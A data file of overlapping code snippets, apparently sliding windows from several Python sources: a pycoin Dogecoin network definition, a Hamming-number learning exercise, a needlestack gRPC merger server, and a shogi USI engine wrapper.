[ "= create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\", address_prefix_hex=\"1e\", pay_to_script_prefix_hex=\"16\", bip32_prv_prefix_hex=\"<KEY>\", bip32_pub_prefix_hex=\"<KEY>\")", "import create_bitcoinish_network network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\", address_prefix_hex=\"1e\",", "from pycoin.networks.bitcoinish import create_bitcoinish_network network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\",", "network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\", address_prefix_hex=\"1e\", pay_to_script_prefix_hex=\"16\", bip32_prv_prefix_hex=\"<KEY>\",", "pycoin.networks.bitcoinish import create_bitcoinish_network network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\",", "create_bitcoinish_network network = create_bitcoinish_network( symbol=\"DOGE\", network_name=\"Dogecoin\", subnet_name=\"mainnet\", wif_prefix_hex=\"9e\", address_prefix_hex=\"1e\", pay_to_script_prefix_hex=\"16\"," ]
[ "# merge new number into hamming set hamming = hamming.union(new_hamming)", "for i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3)", "hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i * 5)", "3.5: new_hamming = {1} for i in hamming: new_hamming.add(i *", "x = 1 while len(hamming) <= n * 3.5: new_hamming", "nth hamming number\"\"\" hamming = {1} x = 1 while", "* 5) # merge new number into hamming set hamming", "def hamming(n): \"\"\"Returns the nth hamming number\"\"\" hamming = {1}", "\"\"\"Returns the nth hamming number\"\"\" hamming = {1} x =", "new number into hamming set hamming = hamming.union(new_hamming) hamming =", "1 while len(hamming) <= n * 3.5: new_hamming = {1}", "into hamming set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return", "hamming number\"\"\" hamming = {1} x = 1 while len(hamming)", "= {1} x = 1 while len(hamming) <= n *", "* 2) new_hamming.add(i * 3) new_hamming.add(i * 5) # merge", "hamming[n - 1] print(hamming(970)) # hamming(968) should be 41943040 #", "hamming(968) should be 41943040 # hamming(969) should be 41990400 #", "sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) # hamming(968) should be", "print(hamming(970)) # hamming(968) should be 41943040 # hamming(969) should be", "hamming = sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) # hamming(968)", "= sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) # hamming(968) should", "while len(hamming) <= n * 3.5: new_hamming = {1} for", "return hamming[n - 1] print(hamming(970)) # hamming(968) should be 41943040", "hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n - 1] print(hamming(970)) #", "3) new_hamming.add(i * 5) # merge new number into hamming", "hamming = {1} x = 1 while len(hamming) <= n", "hamming set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n", "* 3.5: new_hamming = {1} for i in hamming: new_hamming.add(i", "5) # merge new number into hamming set hamming =", "2) new_hamming.add(i * 3) new_hamming.add(i * 5) # merge new", "merge new number into hamming set hamming = hamming.union(new_hamming) hamming", "new_hamming.add(i * 3) new_hamming.add(i * 5) # merge new number", "{1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i *", "hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n - 1]", "41943040 # hamming(969) should be 41990400 # hamming(970) should be", "= hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n - 1] print(hamming(970))", "n * 3.5: new_hamming = {1} for i in hamming:", "= 1 while len(hamming) <= n * 3.5: new_hamming =", "<= n * 3.5: new_hamming = {1} for i in", "{1} x = 1 while len(hamming) <= n * 3.5:", "hamming(n): \"\"\"Returns the nth hamming number\"\"\" hamming = {1} x", "new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i * 5) #", "should be 41943040 # hamming(969) should be 41990400 # hamming(970)", "# hamming(969) should be 41990400 # hamming(970) should be 42187500", "the nth hamming number\"\"\" hamming = {1} x = 1", "i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i", "1] print(hamming(970)) # hamming(968) should be 41943040 # hamming(969) should", "new_hamming.add(i * 5) # merge new number into hamming set", "- 1] print(hamming(970)) # hamming(968) should be 41943040 # hamming(969)", "* 3) new_hamming.add(i * 5) # merge new number into", "= {1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i", "<reponame>MarkHershey/python-learning def hamming(n): \"\"\"Returns the nth hamming number\"\"\" hamming =", "new_hamming = {1} for i in hamming: new_hamming.add(i * 2)", "number into hamming set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming))", "be 41943040 # hamming(969) should be 41990400 # hamming(970) should", "in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i *", "len(hamming) <= n * 3.5: new_hamming = {1} for i", "number\"\"\" hamming = {1} x = 1 while len(hamming) <=", "set hamming = hamming.union(new_hamming) hamming = sorted(list(hamming)) return hamming[n -", "# hamming(968) should be 41943040 # hamming(969) should be 41990400" ]
[ "from needlestack.servicers.merger import MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def", "health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc", "needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer from examples import", "import factory from needlestack.servicers.merger import MergerServicer from examples import configs", "= factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health,", "factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health =", "manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer()", "def main(): config = configs.LocalDockerConfig() server = factory.create_server(config) manager =", "server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server) if", "import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server =", "logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server = factory.create_server(config) manager", "servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING)", "HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server) if __name__ == \"__main__\":", "import HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory", "import servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer", "logging from grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer", "factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server)", "config = configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup()", "configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager),", "main(): config = configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config)", "manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\",", "needlestack.servicers.merger import MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main():", "health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server) if __name__ == \"__main__\": main()", "health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server) if __name__", "import logging from grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import", "from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig()", "configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server = factory.create_server(config)", "= factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server) health", "health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc from", "examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config = configs.LocalDockerConfig() server", "from grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from", "= configs.LocalDockerConfig() server = factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config,", "MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config =", "from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger", "grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis", "import MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\") def main(): config", "server = factory.create_server(config) manager = factory.create_zookeeper_cluster_manager(config) manager.startup() servicers_pb2_grpc.add_MergerServicer_to_server(MergerServicer(config, manager), server)", "factory from needlestack.servicers.merger import MergerServicer from examples import configs logging.getLogger(\"kazoo\").setLevel(\"WARN\")", "servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer from", "manager), server) health = HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server)", "HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory from", "from needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer from examples", "import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis import", "from grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers", "grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import", "needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger import", "= HealthServicer() health_pb2_grpc.add_HealthServicer_to_server(health, server) health.set(\"Merger\", health_pb2.HealthCheckResponse.SERVING) factory.serve(server) if __name__ ==" ]
[ "False) return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr) class", "wtime, binc, winc): cmds = self.go_commands moves = [m.usi() for", "if name: rating = game.opponent.rating if game.opponent.rating is not None", "print_handler_stats(self): pass def get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self, board,", "info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str def get_opponent_info(self, game): name", "best_move, ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder", "value) self.engine.isready() def first_search(self, board, movetime): best_move, _ = self.engine.go(board.sfen(),", "pass def get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self, board, commands,", "silence_stderr=False): commands = commands[0] if len(commands) == 1 else commands", "in options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self, board, movetime): best_move,", "cfg = config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\")", "'depth', 'nodes', 'nps'] info = self.engine.info stats_str = [] for", "{}), silence_stderr) class EngineWrapper: def __init__(self, board, commands, options=None, silence_stderr=False):", "_ = self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move def search_with_ponder(self, game,", "game.opponent.title if game.opponent.title else \"none\" player_type = \"computer\" if title", "stats=None): if stats is None: stats = ['score', 'depth', 'nodes',", "movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move, ponder_move = self.engine.go( game.initial_fen, moves,", "search(self, game, board, btime, wtime, binc, winc): pass def print_stats(self):", "= self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else:", "commands[0] if len(commands) == 1 else commands self.go_commands = go_commands", "ponder_move) def search(self, game, board, btime, wtime, binc, winc): cmds", "def create_engine(config, board): cfg = config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"]))", "USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper: def", "def search_for(self, board, movetime): pass def first_search(self, board, movetime): pass", "movetime): best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move def", "stats: if stat in info: logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self,", ") return (best_move, ponder_move) def search(self, game, board, btime, wtime,", "byo, ponder=False): moves = [m.usi() for m in list(board.move_stack)] cmds", "def get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self, board, commands, options,", "= self.engine.info stats_str = [] for stat in stats: if", "options=None, silence_stderr=False): pass def search_for(self, board, movetime): pass def first_search(self,", "* import logging logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException,", "board, movetime): pass def first_search(self, board, movetime): pass def search(self,", "== 1 else commands self.go_commands = go_commands self.engine = engine_ctrl.Engine(commands)", "game.opponent.rating is not None else \"none\" title = game.opponent.title if", "def search(self, game, board, btime, wtime, binc, winc): cmds =", "config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options =", "ponder=False): moves = [m.usi() for m in list(board.move_stack)] cmds =", "btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder ) return (best_move, ponder_move)", "engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\", False) return USIEngine(board, commands,", "= self.engine.info for stat in stats: if stat in info:", "_ = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"),", "pass def print_stats(self): pass def get_opponent_info(self, game): pass def name(self):", "info: logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self, stats=None): if stats is", "depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move def stop(self): self.engine.kill_process() def", "class USIEngine(EngineWrapper): def __init__(self, board, commands, options, go_commands={}, silence_stderr=False): commands", "pass def quit(self): self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self): pass", "= [] for stat in stats: if stat in info:", "list(board.move_stack)] cmds = self.go_commands if len(cmds) > 0: best_move, ponder_move", "USIEngine(EngineWrapper): def __init__(self, board, commands, options, go_commands={}, silence_stderr=False): commands =", "import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board): cfg =", "commands self.go_commands = go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options:", "= self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"),", "in info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str def get_opponent_info(self, game):", "in list(board.move_stack)] cmds = self.go_commands if len(cmds) > 0: best_move,", "def print_handler_stats(self): pass def get_handler_stats(self): pass class USIEngine(EngineWrapper): def __init__(self,", "logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self, stats=None): if stats is None:", "self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self): pass class USIEngine(EngineWrapper): def", "self.engine.isready() def first_search(self, board, movetime): best_move, _ = self.engine.go(board.sfen(), \"\",", "def __init__(self, board, commands, options, go_commands={}, silence_stderr=False): commands = commands[0]", "best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move def search_with_ponder(self,", "> 0: best_move, ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"),", "'depth', 'nodes', 'nps'] info = self.engine.info for stat in stats:", "max_time=120) def create_engine(config, board): cfg = config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"],", "stats = ['score', 'depth', 'nodes', 'nps'] info = self.engine.info stats_str", "stop(self): self.engine.kill_process() def print_stats(self, stats=None): if stats is None: stats", "game): pass def name(self): return self.engine.name def report_game_result(self, game, board):", "= cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands = [engine_path] if engine_options:", "ponder_move = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo,", "movetime): pass def search(self, game, board, btime, wtime, binc, winc):", "v)) silence_stderr = cfg.get(\"silence_stderr\", False) return USIEngine(board, commands, cfg.get(\"usi_options\", {}),", "winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move def stop(self): self.engine.kill_process()", "else commands self.go_commands = go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi() if", "EngineWrapper: def __init__(self, board, commands, options=None, silence_stderr=False): pass def search_for(self,", "board, btime, wtime, binc, winc): pass def print_stats(self): pass def", "ponder=ponder ) return (best_move, ponder_move) def search(self, game, board, btime,", "import shogi import backoff import subprocess from util import *", ") else: best_move, ponder_move = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime,", "silence_stderr=False): pass def search_for(self, board, movetime): pass def first_search(self, board,", "= \"computer\" if title == \"BOT\" else \"human\" def report_game_result(self,", "= game.opponent.name if name: rating = game.opponent.rating if game.opponent.rating is", "'nodes', 'nps'] info = self.engine.info stats_str = [] for stat", "board, commands, options=None, silence_stderr=False): pass def search_for(self, board, movetime): pass", "['score', 'depth', 'nodes', 'nps'] info = self.engine.info stats_str = []", "binc, winc): pass def print_stats(self): pass def get_opponent_info(self, game): pass", "if title == \"BOT\" else \"human\" def report_game_result(self, game, board):", "[engine_path] if engine_options: for k, v in engine_options.items(): commands.append(\"--{}={}\".format(k, v))", "name = game.opponent.name if name: rating = game.opponent.rating if game.opponent.rating", "commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\", False) return USIEngine(board, commands, cfg.get(\"usi_options\",", "= game.opponent.rating if game.opponent.rating is not None else \"none\" title", "return self.engine.name def report_game_result(self, game, board): pass def quit(self): self.engine.kill_process()", "print_stats(self, stats=None): if stats is None: stats = ['score', 'depth',", "moves = [m.usi() for m in list(board.move_stack)] best_move, _ =", "= go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options: for name,", "game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder ) return", "nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move, ponder_move = self.engine.go(", "info[stat])) return stats_str def get_opponent_info(self, game): name = game.opponent.name if", "return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper:", "cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands = [engine_path]", "if game.opponent.rating is not None else \"none\" title = game.opponent.title", "<filename>engine_wrapper.py<gh_stars>0 import os import shogi import backoff import subprocess from", "def first_search(self, board, movetime): pass def search(self, game, board, btime,", "stat in info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str def get_opponent_info(self,", "__init__(self, board, commands, options=None, silence_stderr=False): pass def search_for(self, board, movetime):", "value in options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self, board, movetime):", "if stats is None: stats = ['score', 'depth', 'nodes', 'nps']", "stat in stats: if stat in info: logger.info(\"{}: {}\".format(stat, info[stat]))", "= engine_ctrl.Engine(commands) self.engine.usi() if options: for name, value in options.items():", "import os import shogi import backoff import subprocess from util", "stats: if stat in info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return stats_str", "def search_with_ponder(self, game, board, btime, wtime, binc, winc, byo, ponder=False):", "board, movetime): pass def search(self, game, board, btime, wtime, binc,", "name, value in options.items(): self.engine.setoption(name, value) self.engine.isready() def first_search(self, board,", "if game.opponent.title else \"none\" player_type = \"computer\" if title ==", "= self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move def search_with_ponder(self, game, board,", "self.engine.usi() if options: for name, value in options.items(): self.engine.setoption(name, value)", "go_commands={}, silence_stderr=False): commands = commands[0] if len(commands) == 1 else", "silence_stderr) class EngineWrapper: def __init__(self, board, commands, options=None, silence_stderr=False): pass", "binc=binc, winc=winc, byo=byo, ponder=ponder ) return (best_move, ponder_move) def search(self,", "nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move def stop(self): self.engine.kill_process() def print_stats(self,", "if len(commands) == 1 else commands self.go_commands = go_commands self.engine", "game, board, btime, wtime, binc, winc): cmds = self.go_commands moves", "def print_stats(self): pass def get_opponent_info(self, game): pass def name(self): return", "if stat in info: logger.info(\"{}: {}\".format(stat, info[stat])) def get_stats(self, stats=None):", "game.opponent.name if name: rating = game.opponent.rating if game.opponent.rating is not", "from util import * import logging logger = logging.getLogger(__name__) import", "'nps'] info = self.engine.info for stat in stats: if stat", "BaseException, max_time=120) def create_engine(config, board): cfg = config[\"engine\"] engine_path =", "for m in list(board.move_stack)] cmds = self.go_commands if len(cmds) >", "board): cfg = config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type =", "engine_options = cfg.get(\"engine_options\") commands = [engine_path] if engine_options: for k,", "import subprocess from util import * import logging logger =", "class EngineWrapper: def __init__(self, board, commands, options=None, silence_stderr=False): pass def", "else \"none\" title = game.opponent.title if game.opponent.title else \"none\" player_type", "best_move, ponder_move = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc,", "winc): pass def print_stats(self): pass def get_opponent_info(self, game): pass def", "= config[\"engine\"] engine_path = os.path.realpath(os.path.join(cfg[\"dir\"], cfg[\"name\"])) engine_type = cfg.get(\"protocol\") engine_options", "engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board): cfg = config[\"engine\"]", "import logging logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120)", "moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"), ponder=ponder ) else: best_move, ponder_move =", "def print_stats(self, stats=None): if stats is None: stats = ['score',", "pass def first_search(self, board, movetime): pass def search(self, game, board,", "board, btime, wtime, binc, winc): cmds = self.go_commands moves =", "info = self.engine.info for stat in stats: if stat in", "movetime=movetime) return best_move def search_with_ponder(self, game, board, btime, wtime, binc,", "\"\", movetime=movetime) return best_move def search_with_ponder(self, game, board, btime, wtime,", "get_opponent_info(self, game): pass def name(self): return self.engine.name def report_game_result(self, game,", "best_move, _ = self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc,", "self.go_commands moves = [m.usi() for m in list(board.move_stack)] best_move, _", "import * import logging logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo,", "game, board): pass def quit(self): self.engine.kill_process() def print_handler_stats(self): pass def", "options, go_commands={}, silence_stderr=False): commands = commands[0] if len(commands) == 1", "ponder=ponder ) else: best_move, ponder_move = self.engine.go( game.initial_fen, moves, btime=btime,", "else \"none\" player_type = \"computer\" if title == \"BOT\" else", "backoff import subprocess from util import * import logging logger", "wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return best_move def", "game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") )", "btime, wtime, binc, winc): pass def print_stats(self): pass def get_opponent_info(self,", "1 else commands self.go_commands = go_commands self.engine = engine_ctrl.Engine(commands) self.engine.usi()", "in stats: if stat in info: logger.info(\"{}: {}\".format(stat, info[stat])) def", "btime, wtime, binc, winc): cmds = self.go_commands moves = [m.usi()", "pass def search(self, game, board, btime, wtime, binc, winc): pass", "stat in stats: if stat in info: stats_str.append(\"{}: {}\".format(stat, info[stat]))", "0: best_move, ponder_move = self.engine.go( game.initial_fen, moves, nodes=cmds.get(\"nodes\"), depth=cmds.get(\"depth\"), movetime=cmds.get(\"movetime\"),", "game.opponent.rating if game.opponent.rating is not None else \"none\" title =", "moves, btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\") ) return", "wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder ) return (best_move, ponder_move) def", "moves, btime=btime, wtime=wtime, binc=binc, winc=winc, byo=byo, ponder=ponder ) return (best_move,", "winc=winc, byo=byo, ponder=ponder ) return (best_move, ponder_move) def search(self, game,", "def name(self): return self.engine.name def report_game_result(self, game, board): pass def", "if engine_options: for k, v in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr", "commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}), silence_stderr) class EngineWrapper: def __init__(self,", "= cfg.get(\"silence_stderr\", False) return USIEngine(board, commands, cfg.get(\"usi_options\", {}), cfg.get(\"go_commands\", {}),", "{}\".format(stat, info[stat])) def get_stats(self, stats=None): if stats is None: stats", "best_move def search_with_ponder(self, game, board, btime, wtime, binc, winc, byo,", "\"computer\" if title == \"BOT\" else \"human\" def report_game_result(self, game,", "board, movetime): best_move, _ = self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move", "self.engine.kill_process() def print_stats(self, stats=None): if stats is None: stats =", "def search(self, game, board, btime, wtime, binc, winc): pass def", "cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands = [engine_path] if engine_options: for", "engine_type = cfg.get(\"protocol\") engine_options = cfg.get(\"engine_options\") commands = [engine_path] if", "pass def name(self): return self.engine.name def report_game_result(self, game, board): pass", "board): pass def quit(self): self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self):", "self.engine.go(board.sfen(), \"\", movetime=movetime) return best_move def search_with_ponder(self, game, board, btime,", "first_search(self, board, movetime): pass def search(self, game, board, btime, wtime,", "quit(self): self.engine.kill_process() def print_handler_stats(self): pass def get_handler_stats(self): pass class USIEngine(EngineWrapper):", "stats_str def get_opponent_info(self, game): name = game.opponent.name if name: rating", "\"none\" title = game.opponent.title if game.opponent.title else \"none\" player_type =", "k, v in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\", False)", "pass def search_for(self, board, movetime): pass def first_search(self, board, movetime):", "return (best_move, ponder_move) def search(self, game, board, btime, wtime, binc,", "in stats: if stat in info: stats_str.append(\"{}: {}\".format(stat, info[stat])) return", "return stats_str def get_opponent_info(self, game): name = game.opponent.name if name:", "return best_move def search_with_ponder(self, game, board, btime, wtime, binc, winc,", "search(self, game, board, btime, wtime, binc, winc): cmds = self.go_commands", "get_opponent_info(self, game): name = game.opponent.name if name: rating = game.opponent.rating", "self.engine.go( game.initial_fen, moves, btime=btime, wtime=wtime, binc=binc, winc=winc, depth=cmds.get(\"depth\"), nodes=cmds.get(\"nodes\"), movetime=cmds.get(\"movetime\")", "self.engine = engine_ctrl.Engine(commands) self.engine.usi() if options: for name, value in", "stats = ['score', 'depth', 'nodes', 'nps'] info = self.engine.info for", "commands = [engine_path] if engine_options: for k, v in engine_options.items():", "'nodes', 'nps'] info = self.engine.info for stat in stats: if", "name(self): return self.engine.name def report_game_result(self, game, board): pass def quit(self):", "self.engine.info for stat in stats: if stat in info: logger.info(\"{}:", "None: stats = ['score', 'depth', 'nodes', 'nps'] info = self.engine.info", "if len(cmds) > 0: best_move, ponder_move = self.engine.go( game.initial_fen, moves,", "def stop(self): self.engine.kill_process() def print_stats(self, stats=None): if stats is None:", "def get_stats(self, stats=None): if stats is None: stats = ['score',", "len(commands) == 1 else commands self.go_commands = go_commands self.engine =", "wtime, binc, winc, byo, ponder=False): moves = [m.usi() for m", "stats is None: stats = ['score', 'depth', 'nodes', 'nps'] info", "commands = commands[0] if len(commands) == 1 else commands self.go_commands", "rating = game.opponent.rating if game.opponent.rating is not None else \"none\"", "cfg.get(\"engine_options\") commands = [engine_path] if engine_options: for k, v in", "= ['score', 'depth', 'nodes', 'nps'] info = self.engine.info for stat", "v in engine_options.items(): commands.append(\"--{}={}\".format(k, v)) silence_stderr = cfg.get(\"silence_stderr\", False) return", "['score', 'depth', 'nodes', 'nps'] info = self.engine.info for stat in", "commands, options=None, silence_stderr=False): pass def search_for(self, board, movetime): pass def", "import backoff import subprocess from util import * import logging", "binc, winc): cmds = self.go_commands moves = [m.usi() for m", "[m.usi() for m in list(board.move_stack)] cmds = self.go_commands if len(cmds)", "title == 